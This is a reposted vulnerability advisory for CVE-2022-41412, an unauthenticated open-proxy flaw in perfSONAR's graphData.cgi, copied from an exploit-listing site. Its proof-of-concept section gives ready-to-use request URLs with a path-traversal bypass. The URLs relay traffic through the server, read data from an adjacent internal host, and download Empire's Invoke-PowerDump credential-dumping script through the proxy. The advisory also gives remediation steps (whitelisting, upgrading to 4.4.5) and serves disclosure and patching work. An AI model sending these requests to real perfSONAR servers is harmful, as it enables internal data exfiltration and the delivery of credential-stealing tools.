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Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022120003

Below is a copy:

perfSONAR - v4.x <= v4.4.4 - Open Web Proxy (Unauthenticated)
https://github.com/renmizo/CVE-2022-41412

Vendor: perfSONAR
Link: https://github.com/perfsonar/
Affected Versions: v4.x <= v4.4.4
Vulnerability Type: Open Proxy Relay
Vulnerability Family: CGI Abuses
Discovered by: Ryan Moore
CVE: CVE-2022-41412

Summary

perfSONAR bundles with it a graphData.cgi script, used to graph and visualize data. There is a flaw in graphData.cgi allowing for unauthenticated users to proxy and relay HTTP/HTTPS traffic through the perfSONAR server. The vulnerability can potentially be leveraged to exfiltrate or enumerate data from internal web servers.

This vulnerability was patched in perfSONAR v4.4.5.

There is a whitelisting function that will mitigate, but is disabled by default.

Proof of Concept

Examples

Here are three examples of this vulnerability in use. To pass a regex match, the URL must include /esmond/perfsonar/archive/../../../ .

Example 1:

In this example, www.google.com is proxied through perfSONAR server.
https://192.168.68.145/perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=https://www.google.com/esmond/perfsonar/archive/../../../&src=8.8.8.8&dest=8.8.4.4

This is an image
Example 2:

In this example, sample data is exfiltrated from another adjacent internal web host, running an arbitrary port 4444.
https://192.168.68.145/perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=http://192.168.68.113:4444/esmond/perfsonar/archive/../../../&src=8.8.8.8&dest=8.8.4.4

Example 3:

In this example, we are able to download a malicious Powershell script through the perfSONAR server.
https://192.168.68.145/perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=https://raw.githubusercontent.com/esmond/perfsonar/archive/../../../EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1&src=8.8.8.8&dest=8.8.4.4

Remediation

Enable whitelisting in perfSONAR.
Update perfSONAR to 4.4.5 or newer.

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